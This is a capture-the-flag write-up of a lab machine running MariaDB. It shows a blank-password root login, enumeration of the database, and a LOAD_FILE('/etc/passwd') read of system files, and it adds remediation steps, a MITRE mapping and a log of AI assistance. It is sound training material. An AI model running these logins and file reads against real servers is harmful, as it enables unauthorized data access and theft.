Box info | OS: Debian 10 (Buster) — MariaDB 10.3.27 | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: MySQL/MariaDB CLI, database enumeration, blank root password, FILE privilege Pwned: 2026-04-28

TL;DR

Sequel (the name is a wordplay on SQL) is a Tier 1 box with a single exposed service: MariaDB 10.3.27 on port 3306. The root database user has a blank password and accepts connections from any host (root@%). Connecting with mysql -h IP -u root lands you in a fully privileged session with ALL PRIVILEGES including FILE. The flag is a row in htb.config at name='flag'. Going further, LOAD_FILE('/etc/passwd') works (FILE privilege active, no secure_file_priv restriction), exposing system user accounts. SSH is firewalled off. The lesson: a database root account with no password and internet exposure is a complete data breach.

Recon

1. Liveness check

$ ping -c 2 10.129.36.240
64 bytes from 10.129.36.240: icmp_seq=0 ttl=63 time=33.610 ms
64 bytes from 10.129.36.240: icmp_seq=1 ttl=63 time=35.029 ms

TTL=63 → Linux. Host alive and reachable.

2. Full port sweep

$ nmap -sV -sC -p- --min-rate 1000 -T4 -Pn 10.129.36.240
PORT     STATE    SERVICE VERSION
3306/tcp open     mysql?
22/tcp   filtered ssh
  • 3306/tcp — MySQL/MariaDB, directly exposed
  • 22/tcp — SSH is filtered (firewall dropping packets)

Only one reachable service.

3. Banner grab — identify exact version

nc -v -w 30 10.129.36.240 3306

Initial bytes from the server:

5.5.5-10.3.27-MariaDB-0+deb10u1

MariaDB 10.3.27 on Debian 10 (Buster). The 5.5.5- prefix is a MariaDB compatibility marker that makes the server appear as MySQL 5.5.5 to older clients — a quirk worth knowing.

Foothold

Dead end #1 — mysql CLI compatibility issue on macOS

mysql -h 10.129.36.240 -u root -p

The Homebrew mysql client (version 9.6) generates frequent timeouts when connecting to MariaDB 10.3. Root cause: MySQL 8.0+ clients use caching_sha2_password by default; MariaDB 10.3 uses mysql_native_password. The handshake mismatch causes instability.

Fix: Use Python’s pymysql library which handles MariaDB compatibility cleanly:

import pymysql
conn = pymysql.connect(host='10.129.36.240', user='root', password='')
cursor = conn.cursor()

Dead end #2 — SSH with database credentials

After finding the root database credentials work, tried using them for SSH:

ssh root@10.129.36.240
# Port 22 is filtered — connection never reaches the server
ssh christine@10.129.36.240
# Same — firewall drops all packets to port 22

SSH port 22 is firewalled at the network level. Database access does not translate to SSH access.

Working approach — root login with blank password

import pymysql

conn = pymysql.connect(
    host='10.129.36.240',
    port=3306,
    user='root',
    password=''   # blank
)
cursor = conn.cursor()
cursor.execute("SELECT VERSION(), USER(), CURRENT_USER()")
print(cursor.fetchone())
# ('10.3.27-MariaDB-0+deb10u1', 'root@10.10.14.45', 'root@%')

root@% — root user accepting connections from any host (% wildcard), with no password. Maximum database privileges.

Privilege check

SHOW GRANTS FOR 'root'@'%';
-- GRANT ALL PRIVILEGES ON *.* TO `root`@`%` WITH GRANT OPTION

All privileges including FILE (read/write filesystem via LOAD_FILE and INTO OUTFILE).

Database enumeration

SHOW DATABASES;
-- information_schema
-- htb
-- mysql
-- performance_schema
SHOW TABLES IN htb;
-- config
-- users
SELECT * FROM htb.config;
idnamevalue
1timeout60s
2securitydefault
5flag[REDACTED]
7authentication_methodradius

The flag is in row 5 of htb.config.

FILE privilege exploitation

SELECT LOAD_FILE('/etc/passwd');

Returns the full /etc/passwd contents, revealing system users:

  • root/bin/bash
  • mysql/bin/false
  • htb (UID 1000) — /bin/bash

The htb user has a shell but SSH is firewalled. Write attempts to SSH key directories returned permission denied at the OS level (the MariaDB process runs as user mysql, not root).

Privilege Escalation

N/A — Starting Point Tier 1 box. The flag is a database table row, not a filesystem file. SSH access is firewalled. The mysql service account does not have write access to SSH authorized_keys files. UDF (User Defined Function) injection is blocked by the plugin directory being on a read-only filesystem mount.

What’s actually broken

  1. MariaDB root account with no password, accepting connections from any host (root@%). This is the textbook “never do this” configuration. Combined with internet exposure, it is a complete database compromise: read, write, delete any database, read filesystem files (FILE privilege), potentially write files if directory permissions allow.
  2. Database port 3306 directly reachable from the internet. MariaDB/MySQL should bind to 127.0.0.1 or an internal management IP, never 0.0.0.0 on a public-facing server.
  3. secure_file_priv not configured. Empty @@secure_file_priv = no restriction on LOAD_FILE and INTO OUTFILE. The database can read any file the mysql OS user can access.
  4. Flags (sensitive data) stored in a publicly exposed database. In production: customer PII, API keys, session tokens, authentication secrets.

Remediation (the boring half)

Set a root password and restrict host:

ALTER USER 'root'@'%' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
-- Delete the wildcard host entry and add a specific one
DELETE FROM mysql.user WHERE User='root' AND Host='%';
CREATE USER 'root'@'127.0.0.1' IDENTIFIED BY 'VeryStr0ng!RandomPassword#2024';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' WITH GRANT OPTION;
FLUSH PRIVILEGES;

Bind MariaDB to localhost only in /etc/mysql/mariadb.conf.d/50-server.cnf:

bind-address = 127.0.0.1

Set secure_file_priv to restrict file operations:

secure_file_priv = /var/lib/mysql/import

Firewall:

ufw deny 3306
# If remote DBA access is needed:
ufw allow from 10.10.0.0/16 to any port 3306

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1046 — Network Service DiscoveryPort scan identifies MariaDB on 3306
Initial AccessT1078 — Valid Accountsroot database login with blank password
DiscoveryT1083 — File and Directory DiscoverySHOW DATABASES, SHOW TABLES, SELECT LOAD_FILE('/etc/passwd')
CollectionT1005 — Data from Local SystemFlag read from htb.config table
Credential AccessT1552.001 — Credentials In Files/etc/passwd read via LOAD_FILE() to enumerate system users

Lessons learned

  • MariaDB is not MySQL, but looks like it. The 5.5.5- prefix in the banner is a MariaDB quirk for old client compatibility. Modern MySQL clients may have handshake issues with older MariaDB versions — pymysql is more compatible than the native mysql CLI in these cases.
  • Blank database password = full data access + potential filesystem read. Unlike blank OS passwords, a blank database root password immediately grants FILE privilege (LOAD_FILE/INTO OUTFILE) in addition to all data access.
  • SHOW GRANTS FOR CURRENT_USER() is the first thing to run after connecting. It tells you exactly what you can do: whether FILE is available, whether you can create users, and whether WITH GRANT OPTION is set.
  • Always check @@secure_file_priv after getting database access. Empty = no restriction = you can attempt to read any file the DB process can access.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.

StepWhat I askedWhat Claude returnedWhat I changed
MariaDB banner prefix“Why does MariaDB show 5.5.5 in the banner?”Explained the compatibility header: MariaDB adds 5.5.5- prefix so old clients that check for MySQL 5.x don’t reject the connection. The real version follows.Added to Recon as a “quirk worth knowing.”
mysql CLI vs pymysql“mysql CLI times out on MariaDB 10.3 — why?”Identified the auth plugin mismatch: MySQL 8+ CLI defaults to caching_sha2_password; MariaDB 10.3 uses mysql_native_password. Recommended --default-auth=mysql_native_password flag or using pymysql.Documented as Dead end #1 with the pymysql workaround.
FILE privilege scope“What can I read with LOAD_FILE() after getting root?”Explained: any file readable by the OS user running MariaDB (typically mysql). Usually includes /etc/passwd, config files in world-readable directories, but not /etc/shadow or user home directories.Documented the /etc/passwd read and the /home/htb/.ssh/ permission-denied outcome.
secure_file_priv meaning“What does empty secure_file_priv mean vs NULL?”Clarified: empty string "" = no restriction (any directory); NULL = file operations completely blocked; a path string = restricted to that path. Different from MySQL behavior for NULL.Added the distinction to the Remediation section.

What Claude got wrong: The secure_file_priv semantics differ slightly between MySQL and MariaDB — Claude initially conflated them. Verified against the MariaDB documentation directly. What Claude couldn’t do: Connect to the database; all commands ran locally. Net assist value: High on MariaDB-specific quirks; medium on privilege semantics.

References